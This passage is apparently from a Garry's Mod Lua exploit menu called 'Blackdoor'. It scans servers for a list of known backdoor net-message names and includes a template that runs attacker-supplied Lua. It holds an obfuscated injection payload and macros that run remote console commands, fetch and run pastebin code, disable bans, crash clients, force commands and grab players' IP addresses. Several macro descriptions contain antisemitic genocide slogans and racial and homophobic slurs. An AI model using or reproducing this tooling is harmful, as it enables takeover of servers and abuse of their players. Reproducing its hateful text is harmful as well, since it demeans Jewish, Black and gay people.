7040 },
7041 {
7042 NetWork = "Fix_Keypads"
7043 },
7044 {
7045 NetWork = "Remove_Exploiters"
7046 },
7047 {
7048 NetWork = "noclipcloakaesp_chat_text"
7049 },
7050 {
7051 NetWork = "_Defqon"
7052 },
7053 {
7054 NetWork = "_CAC_ReadMemory",
7055"nostrip"
7056 },
7057 {
7058 NetWork = "nocheat"
7059 },
7060 {
7061 NetWork = "LickMeOut"
7062 },
7063 {
7064 NetWork = "ULX_QUERY2"
7065 },
7066 {
7067 NetWork = "ULXQUERY2"
7068 },
7069 {
7070 NetWork = "MoonMan"
7071 },
7072 {
7073 NetWork = "Im_SOCool"
7074 },
7075 {
7076 NetWork = "Sandbox_GayParty"
7077 },
7078 {
7079 NetWork = "DarkRP_UTF8"
7080 },
7081 {
7082 NetWork = "oldNetReadData"
7083 },
7084 {
7085 NetWork = "memeDoor"
7086 },
7087 {
7088 NetWork = "BackDoor"
7089 },
7090 {
7091 NetWork = "OdiumBackDoor"
7092 },
7093 {
7094 NetWork = "SessionBackdoor"
7095 },
7096 {
7097 NetWork = "DarkRP_AdminWeapons"
7098 },
7099 {
7100 NetWork = "cucked"
7101 },
7102 {
7103 NetWork = "NoNerks"
7104 },
7105 {
7106 NetWork = "kek"
7107 },
7108 {
7109 NetWork = "ZimbaBackDoor"
7110 },
7111 {
7112 NetWork = "something"
7113 },
7114 {
7115 NetWork = "random"
7116 },
7117 {
7118 NetWork = "strip0"
7119 },
7120 {
7121 NetWork = "fellosnake"
7122 },
7123 {
7124 NetWork = "enablevac"
7125 },
7126 {
7127 NetWork = "idk"
7128 },
7129 {
7130 NetWork = "c"
7131 },
7132 {
7133 NetWork = "killserver"
7134 },
7135 {
7136 NetWork = "fuckserver"
7137 },
7138 {
7139 NetWork = "cvaraccess"
7140 },
7141 {
7142 NetWork = "rcon"
7143 },
7144 {
7145 NetWork = "rconadmin"
7146 },
7147 {
7148 NetWork = "web"
7149 },
7150 {
7151 NetWork = "jesuslebg"
7152 },
7153 {
7154 NetWork = "zilnix"
7155 },
7156 {
7157 NetWork = "ГћГ ?D)в—"
7158 },
7159 {
7160 NetWork = "disablebackdoor"
7161 },
7162 {
7163 NetWork = "kill"
7164 },
7165 {
7166 NetWork = "DefqonBackdoor"
7167 }
7168}
7169
7170function checkbackdoors()
7171 for k, v in pairs(BackDoor_net) do
7172 if (ValidNetString(v.NetWork)) then
7173 BackdoorsFound = 1 + BackdoorsFound
7174 chat.AddText(Color(0, 0, 0, 125), "[R8]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
7175 v.NetWork = backdoor
7176 end
7177 end
7178end
7179
7180BD.Backdoors = BD.Backdoors or {}
7181BD.CurrentBackdoor = "Generic"
7182
7183for k, v in pairs(BackDoor_net) do
7184 if (ValidNetString(v.NetWork)) then
7185 BD.BackdoorTypes = {
7186 ["Generic"] = {
7187 ["Code"] = "util.AddNetworkString( " .. v.NetWork .. " ) net.Receive( " .. v.NetWork .. ", function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
7188 ["Netkey"] = v.NetWork
7189 }
7190 }
7191 end
7192end
7193
7194checkbackdoors()
7195local netsss = net.Start
7196
7197function BD.IsMessagePooled(netmessage)
7198 local netfunc = netsss
7199
7200 return status
7201end
7202
7203local net = net
7204local ctxt = chat.AddText
7205
7206function BD.ChatText(message, col)
7207 ctxt(Color(195, 205, 255, 255), "[Blackdoor] ", col, message)
7208end
7209
7210function BD.PingBackDoors()
7211 local bds = {}
7212
7213 for k, v in pairs(BackDoor_net) do
7214 if BD.IsMessagePooled(tostring(v.NetWork)) then
7215 bds[k] = true
7216 end
7217 end
7218
7219 return bds
7220end
7221
7222concommand.Add("bd_refresh_backdoors", function()
7223 BD.Backdoors = BD.PingBackDoors()
7224end)
7225
7226function BD.BackdoorActive()
7227 return table.Count(BD.Backdoors) > 0
7228end
7229
7230BD.BDMacros = {
7231 ["Artillery Strike"] = {
7232 ["Type"] = 1,
7233 ["Code"] = [[if !bombstrike then
7234
7235hook.Add("Think", "lulz_bombstrike", function()
7236
7237local explode = ents.Create( "env_explosion" )
7238
7239local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
7240
7241local trc = {}
7242
7243trc.start = ps
7244
7245trc.endpos = ps + Vector( 0, 0, -99999)
7246
7247local tr = util.TraceLine(trc)
7248
7249if !tr.Hit then return end
7250
7251explode:SetPos( tr.HitPos )
7252
7253explode:Spawn()
7254
7255explode:SetKeyValue( "iMagnitude", "400" )
7256
7257explode:Fire( "Explode", 0, 0 )
7258
7259end)
7260
7261bombstrike = true
7262
7263else
7264
7265hook.Remove("Think", "lulz_bombstrike")
7266
7267bombstrike = false
7268
7269end]],
7270 ["Desc"] = "Explode the shit out of everything"
7271 },
7272 ["@ Inject SendLua Interface"] = {
7273 ["Type"] = 1,
7274 ["Code"] = [[
7275
7276local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_,16),25)) end return ‪‪‪‪‪ end ‪[‪‪‪‪‪‪‪'6c6d7075'][‪‪‪‪‪‪‪'587d7d577c6d6e766b724a6d6b70777e'](‪‪‪‪‪‪‪'4b21')‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c7a7c706f7c'](‪‪‪‪‪‪‪'4b21',function ()local false‪=‪[‪‪‪‪‪‪‪'5a76746970757c4a6d6b70777e'](‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c787d4a6d6b70777e'](),‪‪‪‪‪‪‪'556c785a747d',false )if ‪[‪‪‪‪‪‪‪'706a7f6c777a6d707677'](false‪)then false‪()end end )
7277
7278 ]],
7279 ["Desc"] = "You need this to use certain macros"
7280 },
7281 ["Announce centre screen"] = {
7282 ["Type"] = 1,
7283 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
7284 ["Desc"] = "Make an announcement in the centre of everybodys screen",
7285 ["NeedsParameters"] = 1
7286 },
7287 ["Rainbow chat spam"] = {
7288 ["Type"] = 1,
7289 ["Code"] = [[
7290
7291 if !timer.Exists( "lulz_chatspam" ) then
7292
7293 timer.Create( "lulz_chatspam", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
7294
7295 else
7296
7297 timer.Remove( "lulz_chatspam" )
7298
7299 end]],
7300 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
7301 ["NeedsParameters"] = 1
7302 },
7303 ["Rainbow chat spam (Turbo)"] = {
7304 ["Type"] = 1,
7305 ["Code"] = [[
7306
7307 if !timer.Exists( "lulz_chatspam" ) then
7308
7309 timer.Create( "lulz_chatspam", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
7310
7311 else
7312
7313 timer.Remove( "lulz_chatspam" )
7314
7315 end]],
7316 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
7317 ["NeedsParameters"] = 1
7318 },
7319 ["Unlock all doors"] = {
7320 ["Type"] = 1,
7321 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
7322 ["Desc"] = ""
7323 },
7324 ["Toggle all doors"] = {
7325 ["Type"] = 1,
7326 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
7327 ["Desc"] = ""
7328 },
7329 ["Broken Glass Symphony"] = {
7330 ["Type"] = 1,
7331 ["Code"] = [[
7332
7333 if !timer.Exists( "A true masterpiece" ) then
7334
7335 timer.Create( "A true masterpiece", 0.2, 0, function()
7336
7337 for _, p in pairs(player.GetAll()) do
7338
7339 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
7340
7341 end
7342
7343 end)
7344
7345 else
7346
7347 timer.Remove( "A true masterpiece" )
7348
7349 end]],
7350 ["Desc"] = "Beethoven's last hidden symphony, only rediscovered in 2017"
7351 },
7352 ["Yeah Baby"] = {
7353 ["Type"] = 1,
7354 ["Code"] = [[
7355
7356 if !timer.Exists( "porn" ) then
7357
7358 timer.Create( "porn", 0.3, 0, function()
7359
7360 for _, p in pairs(player.GetAll()) do
7361
7362 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
7363
7364 end
7365
7366 end)
7367
7368 else
7369
7370 timer.Remove( "porn" )
7371
7372 end]],
7373 ["Desc"] = "YEAH BABY YEAH"
7374 },
7375 ["Street War"] = {
7376 ["Type"] = 1,
7377 ["Code"] = [[
7378
7379 if !timer.Exists( "cwar" ) then
7380
7381 timer.Create( "cwar", 1, 0, function()
7382
7383 for _, p in pairs(player.GetAll()) do
7384
7385 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
7386
7387 end
7388
7389 end)
7390
7391 else
7392
7393 timer.Remove( "cwar" )
7394
7395 end]],
7396 ["Desc"] = "For when you need more dakka"
7397 },
7398 ["Earthquake"] = {
7399 ["Type"] = 1,
7400 ["Code"] = [[
7401
7402 if !timer.Exists( "earthquake" ) then
7403
7404 timer.Create( "earthquake", 0.5, 500, function()
7405
7406 for _, p in pairs(player.GetAll()) do
7407
7408 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
7409
7410 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
7411
7412 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
7413
7414 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
7415
7416 end
7417
7418
7419
7420 for _, e in pairs(ents.GetAll()) do
7421
7422 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
7423
7424 end
7425
7426
7427
7428
7429
7430 end)
7431
7432 else
7433
7434 timer.Remove( "earthquake" )
7435
7436 end]],
7437 ["Desc"] = "For when you need more dakka"
7438 },
7439 ["Explode all vehicles"] = {
7440 ["Type"] = 1,
7441 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
7442
7443 local explo = ents.Create("env_explosion")
7444
7445 explo:SetPos(v:GetPos())
7446
7447 explo:SetKeyValue("iMagnitude", "300")
7448
7449 explo:Spawn()
7450
7451 explo:Activate()
7452
7453 explo:Fire("Explode", "", 0)
7454
7455 end
7456
7457 end]],
7458 ["Desc"] = ""
7459 },
7460 ["RCON command"] = {
7461 ["Type"] = 1,
7462 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
7463 ["Desc"] = "Like having rcon access without actually having rcon access"
7464 },
7465 ["Lua run"] = {
7466 ["Type"] = 1,
7467 ["Code"] = [[@1]],
7468 ["Desc"] = "For running your dank luas"
7469 },
7470 ["Lua run from pastebin"] = {
7471 ["Type"] = 1,
7472 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
7473 ["Desc"] = "Fetch and run code from a pastebin link ( remember to use raw you stupid faggot eg. https://pastebin.com/raw/fHeygLt9 )"
7474 },
7475 ["Destroy ULX Ban/Kick"] = {
7476 ["Type"] = 1,
7477 ["Code"] = [[ULib.Ban = function() return false end
7478
7479 ULib.addBan = function() return end
7480
7481 ULib.kick = function() return end]],
7482 ["Desc"] = "Completely break ulx ban and ulx kick so you can't be locked out of the server"
7483 },
7484 ------------------------ player targeted macros ------------------------
7485 ["Kill player"] = {
7486 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
7487 ["Code"] = [[v:Kill()]],
7488 ["Desc"] = ""
7489 },
7490 ["Fumble player"] = {
7491 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
7492 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
7493 ["Desc"] = "Knocks their current weapon out of their hand"
7494 },
7495 ["Strip weapons"] = {
7496 ["Type"] = 2,
7497 ["Code"] = [[v:StripWeapons()]],
7498 ["Desc"] = ""
7499 },
7500 ["Rocket"] = {
7501 ["Type"] = 2,
7502 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
7503 ["Desc"] = "Sends them flying up into the air"
7504 },
7505 ["Rocket (Spastic)"] = {
7506 ["Type"] = 2,
7507 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
7508 ["Desc"] = "HOLY SHIIIIIIIIIIIT"
7509 },
7510 ["Change model"] = {
7511 ["Type"] = 2,
7512 ["Code"] = [[v:SetModel( @1 )]],
7513 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
7514 ["NeedsParameters"] = 1
7515 },
7516 ["Set health + armor"] = {
7517 ["Type"] = 2,
7518 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
7519 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
7520 ["NeedsParameters"] = 2
7521 },
7522 ["Ear rape"] = {
7523 ["Type"] = 2,
7524 ["Code"] = [[
7525
7526 local snd = {
7527
7528 [1] = "npc/stalker/go_alert2a.wav",
7529
7530 [2] = "vo/npc/male01/question06.wav",
7531
7532 [3] = "ambient/energy/zap1.wav",
7533
7534 [4] = "weapons/knife/knife_stBD.wav",
7535
7536 [5] = "vo/ravenholm/madlaugh04.wav",
7537
7538 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
7539
7540 [7] = "vo/breencast/br_collaboration01.wav,"
7541
7542 }
7543
7544 v:EmitSound( snd[tonumber(@1)], 100, 100 )
7545
7546 ]],
7547 ["Desc"] = "Make them emit a sound (1st paremeter is a number 1-7)",
7548 ["NeedsParameters"] = 1
7549 },
7550 ["Ear rape (from internet)"] = {
7551 ["Type"] = 2,
7552 ["Code"] = [[
7553
7554 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
7555
7556 ]],
7557 ["Desc"] = "Make them hear a sound from a URL (1st paremeter). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
7558 ["NeedsParameters"] = 1
7559 },
7560 ["Eye rape (from internet)"] = {
7561 ["Type"] = 2,
7562 ["Code"] = [[
7563
7564 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
7565
7566 ]],
7567 ["Desc"] = "Make them see a full screen, unclosable panel from a URL (1st paremeter). Sending a new url will stop the previous one. Send an invalid url to clear their view entirely",
7568 ["NeedsParameters"] = 1
7569 },
7570 ["Rave Mode"] = {
7571 ["Type"] = 2,
7572 ["Code"] = [[
7573
7574 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
7575
7576 ]],
7577 ["Desc"] = "Make them loosen up and join the party"
7578 },
7579 ["Rave Music"] = {
7580 ["Type"] = 2,
7581 ["Code"] = [[
7582
7583 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
7584
7585 ]],
7586 ["Desc"] = "DOOF DOOF NIGGA"
7587 },
7588 ["Whisper"] = {
7589 ["Type"] = 2,
7590 ["Code"] = [[v:ChatPrint( @1 )]],
7591 ["Desc"] = "Anonymously whisper text into their chatbox (1st paremeter)",
7592 ["NeedsParameters"] = 1
7593 },
7594 ["Whisper (advanced)"] = {
7595 ["Type"] = 2,
7596 ["Code"] = [[
7597
7598 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
7599
7600 ]],
7601 ["Desc"] = "Anonymously whisper coloured text into their chatbox (1st paremeter = text, 2nd = r, 3rd = g, 4th = b)",
7602 ["NeedsParameters"] = 1
7603 },
7604 ["Ignite player"] = {
7605 ["Type"] = 2,
7606 ["Code"] = [[v:Ignite( 30 )]],
7607 ["Desc"] = "Ignite players for 30 seconds, spam repeatedly to refresh the duration"
7608 },
7609 ["Toggle godmode"] = {
7610 ["Type"] = 2,
7611 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
7612 ["Desc"] = ""
7613 },
7614 ["Crash their gmod"] = {
7615 ["Type"] = 2,
7616 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
7617 ["Desc"] = "Instantly freezes their game solid, the only way to fix it is ctrl-alt-delete or a computer restart"
7618 },
7619 ["Toggle serverside speedhack"] = {
7620 ["Type"] = 2,
7621 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
7622 ["Desc"] = "GOTTA GO FAST"
7623 },
7624 ["Freeze/Unfreeze player"] = {
7625 ["Type"] = 2,
7626 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
7627 ["Desc"] = ""
7628 },
7629 ["Force say"] = {
7630 ["Type"] = 2,
7631 ["Code"] = [[v:Say(@1)]],
7632 ["Desc"] = "Forces them to say the specified string in chat (first parameter)",
7633 ["NeedsParameters"] = 1
7634 },
7635 ["Force concommand"] = {
7636 ["Type"] = 2,
7637 ["Code"] = [[v:ConCommand(@1)]],
7638 ["Desc"] = "Forces them to run the specified console command (first parameter)",
7639 ["NeedsParameters"] = 1
7640 },
7641 ["Grab IP"] = {
7642 ["Type"] = 2,
7643 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
7644 ["Desc"] = "Prints their IP Address to your console"
7645 },
7646 ["DarkRP add/remove money"] = {
7647 ["Type"] = 2,
7648 ["Code"] = [[v:addMoney(@1)]],
7649 ["Desc"] = "Adds money to their wallet (first parameter) remember that you can use negative numbers to subtract money",
7650 ["NeedsParameters"] = 1
7651 },
7652 ["DarkRP force job"] = {
7653 ["Type"] = 2,
7654 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
7655 ["Desc"] = "Change their team to the specified job (1st parameter = job name, does not require capitalization)",
7656 ["NeedsParameters"] = 1
7657 },
7658 ["Force team switch"] = {
7659 ["Type"] = 2,
7660 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
7661 ["Desc"] = "Change their team to the specified team name (1st parameter)",
7662 ["NeedsParameters"] = 1
7663 },
7664 ["Noclip player"] = {
7665 ["Type"] = 2,
7666 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
7667 ["Desc"] = "Toggles noclip on the specified players"
7668 },
7669 ["Give weapon to player"] = {
7670 ["Type"] = 2,
7671 ["Code"] = [[v:Give( @1 )]],
7672 ["Desc"] = "Gives this player a weapon (first parameter)",
7673 ["NeedsParameters"] = 1
7674 },
7675 ["Give ammo to player"] = {
7676 ["Type"] = 2,
7677 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
7678 ["Desc"] = "Gives this player some ammo (first parameter = amount of ammo, secound parameter = ammo type)",
7679 ["NeedsParameters"] = 2
7680 },
7681 ["Teleport (them to your cursor)"] = {
7682 ["Type"] = 2,
7683 ["Code"] = [[
7684
7685 local tp = false
7686
7687 local tpos
7688
7689 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
7690
7691 if tp then v:SetPos( tpos ) end
7692
7693 ]],
7694 ["Desc"] = "Teleports the selected players to your cursor location, not recommended for more than 1 person at once"
7695 },
7696 ["Teleport (you to them)"] = {
7697 ["Type"] = 2,
7698 ["Code"] = [[
7699
7700 local tp = false
7701
7702 local tpos = v:GetPos() + Vector( 32, 0, 10)
7703
7704 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
7705
7706 ]],
7707 ["Desc"] = "Teleport yourself to the selected player, may end with you stuck inside a wall"
7708 },
7709 ["Teleport (blink)"] = {
7710 ["Type"] = 2,
7711 ["Code"] = [[
7712
7713 local tpos = v:GetEyeTraceNoCursor().HitPos
7714
7715 v:SetPos( tpos )
7716
7717 ]],
7718 ["Desc"] = "Use on yourself or others to warp them to where they are looking"
7719 },
7720 ["Spawn entity near player"] = {
7721 ["Type"] = 2,
7722 ["Code"] = [[
7723
7724 local tr = {}
7725
7726 tr.start = v:GetShootPos()
7727
7728 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7729
7730 tr.filter = {v}
7731
7732 local trace = util.TraceLine(tr)
7733
7734 local dix = ents.Create( @1 )
7735
7736 dix:SetPos(trace.HitPos)
7737
7738 dix:SetAngles(Angle(0,0,0))
7739
7740 dix:Spawn()
7741
7742 ]],
7743 ["Desc"] = "Spawn an entity in front of this player (first parameter = entity class), cannot spawn cars!",
7744 ["NeedsParameters"] = 1
7745 },
7746 ["Spawn prop near player"] = {
7747 ["Type"] = 2,
7748 ["Code"] = [[
7749
7750 local tr = {}
7751
7752 tr.start = v:GetShootPos()
7753
7754 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7755
7756 tr.filter = {v}
7757
7758 local trace = util.TraceLine(tr)
7759
7760 local dix = ents.Create( "prop_physics" )
7761
7762 dix:SetPos(trace.HitPos)
7763
7764 dix:SetAngles(Angle(0,0,0))
7765
7766 dix:SetModel( @1 )
7767
7768 dix:Spawn()
7769
7770 ]],
7771 ["Desc"] = "Spawn a world prop in front of this player (first parameter = model)",
7772 ["NeedsParameters"] = 1
7773 },
7774 ["Spawn evil npc near player"] = {
7775 ["Type"] = 2,
7776 ["Code"] = [[
7777
7778 local tr = {}
7779
7780 tr.start = v:GetShootPos()
7781
7782 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7783
7784 tr.filter = {v}
7785
7786 local trace = util.TraceLine(tr)
7787
7788 local dix = ents.Create( "npc_citizen" )
7789
7790 dix:SetPos(trace.HitPos)
7791
7792 dix:SetAngles(Angle(0,0,0))
7793
7794 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
7795
7796 dix:SetKeyValue( "citizentype", 3 )
7797
7798 dix:AddRelationship("player D_HT 200")
7799
7800 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
7801
7802 dix:SetSchedule( SCHED_IDLE_WANDER )
7803
7804 dix:Spawn()
7805
7806 ]],
7807 ["Desc"] = "Spawn a hostile NPC in front of this player"
7808 },
7809 ["Death ray"] = {
7810 ["Type"] = 2,
7811 ["Code"] = [[
7812
7813 local trace = v:GetEyeTraceNoCursor()
7814
7815 if trace.Entity:IsValid() then trace.Entity:Remove() end
7816
7817 ]],
7818 ["Desc"] = "Vaporize whatever this player is looking at"
7819 },
7820 ["Death ray (explosive)"] = {
7821 ["Type"] = 2,
7822 ["Code"] = [[
7823
7824 local trace = v:GetEyeTraceNoCursor()
7825
7826 local explo = ents.Create("env_explosion")
7827
7828 explo:SetPos(trace.HitPos)
7829
7830 explo:SetKeyValue("iMagnitude", "250")
7831
7832 explo:Spawn()
7833
7834 explo:Activate()
7835
7836 explo:Fire("Explode", "", 0)
7837
7838 ]],
7839 ["Desc"] = "Blow up whatever this player is looking at"
7840 },
7841 ["Precise Artillery Strike"] = {
7842 ["Type"] = 2,
7843 ["Code"] = [[
7844
7845 local trace = v:GetEyeTraceNoCursor()
7846
7847 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
7848
7849 local explo = ents.Create("env_explosion")
7850
7851 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
7852
7853 explo:SetKeyValue("iMagnitude", "250")
7854
7855 explo:Spawn()
7856
7857 explo:Activate()
7858
7859 explo:Fire("Explode", "", 0)
7860
7861 end)
7862
7863 ]],
7864 ["Desc"] = "Blow up whatever this player is looking at"
7865 },
7866 ["Woman Driver"] = {
7867 ["Type"] = 2,
7868 ["Code"] = [[
7869
7870 local trace = v:GetEyeTraceNoCursor()
7871
7872 local car = ents.Create("prop_physics")
7873
7874 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
7875
7876 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
7877
7878 car:SetAngles( v:GetAngles() )
7879
7880 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
7881
7882 car:Spawn()
7883
7884 car:Activate()
7885
7886 car.boom = 6
7887
7888 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
7889
7890 car:Ignite( 500 )
7891
7892 car:AddCallback( "PhysicsCollide", function( car, dat )
7893
7894 local explo = ents.Create("env_explosion")
7895
7896 explo:SetPos( car:GetPos() )
7897
7898 explo:SetKeyValue("iMagnitude", "350")
7899
7900 explo:Spawn()
7901
7902 explo:Activate()
7903
7904 explo:Fire("Explode", "", 0)
7905
7906 local ef = EffectData()
7907
7908 ef:SetOrigin( car:GetPos() )
7909
7910 ef:SetMagnitude( 5 )
7911
7912 ef:SetScale( 200 )
7913
7914 util.Effect( "ThumperDust", ef )
7915
7916 car.boom = car.boom - 1
7917
7918 if car.boom < 0 then car:Remove() end
7919
7920 end )
7921
7922 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
7923
7924 ]],
7925 ["Desc"] = "Make exploding vehicles rain from the sky"
7926 },
7927 ["Poison Gas"] = {
7928 ["Type"] = 2,
7929 ["Code"] = [[
7930
7931 local trace = v:GetEyeTraceNoCursor()
7932
7933 local ar2Explo = ents.Create("env_ar2explosion")
7934
7935 ar2Explo:SetOwner(game.GetWorld())
7936
7937 local p = trace.HitPos
7938
7939 ar2Explo:SetPos(trace.HitPos)
7940
7941 ar2Explo:Spawn()
7942
7943 ar2Explo:Activate()
7944
7945 ar2Explo:Fire("Explode", "", 0)
7946
7947 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
7948
7949 for _, ent in pairs(ents.FindInSphere( p, 500)) do
7950
7951 if !ent:IsPlayer() then continue end
7952
7953 local d = DamageInfo()
7954
7955 d:SetDamage( 1 )
7956
7957 d:SetAttacker( game.GetWorld() )
7958
7959 d:SetInflictor( game.GetWorld() )
7960
7961 d:SetDamageType( DMG_DROWN )
7962
7963 ent:TakeDamageInfo( d )
7964
7965 end
7966
7967 end)
7968
7969
7970
7971 ]],
7972 ["Desc"] = "GAS THE JEWS RACE WAR NOW"
7973 },
7974 ["Spawn vehicle near player"] = {
7975 ["Type"] = 2,
7976 ["Code"] = [[
7977
7978 local trc = {}
7979
7980 trc.start = v:GetShootPos()
7981
7982 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7983
7984 trc.filter = {v}
7985
7986 local tr = util.TraceLine(trc)
7987
7988
7989
7990 local VehicleList = list.Get( "Vehicles" )
7991
7992 local vehicle = VehicleList[ @1 ]
7993
7994 if ( !vehicle ) then return end
7995
7996 local Angles = v:GetAngles()
7997
7998 Angles.pitch = 0
7999
8000 Angles.roll = 0
8001
8002 Angles.yaw = Angles.yaw + 180
8003
8004
8005
8006 local pos = tr.HitPos
8007
8008 if ( vehicle.Offset ) then
8009
8010 pos = pos + tr.HitNormal * vehicle.Offset
8011
8012 end
8013
8014 local Ent = ents.Create( vehicle.Class )
8015
8016 if ( !Ent ) then return end
8017
8018 duplicator.DoGeneric( Ent, vehicle )
8019
8020 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
8021
8022 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
8023
8024 if ( vehicle && vehicle.KeyValues ) then
8025
8026 for k, v in pairs( vehicle.KeyValues ) do
8027
8028 Ent:SetKeyValue( k, v )
8029
8030 end
8031
8032 end
8033
8034 Ent:SetModel( vehicle.Model )
8035
8036 Ent:SetAngles( Angles )
8037
8038 Ent:SetPos( pos )
8039
8040 Ent:Spawn()
8041
8042 Ent:Activate()
8043
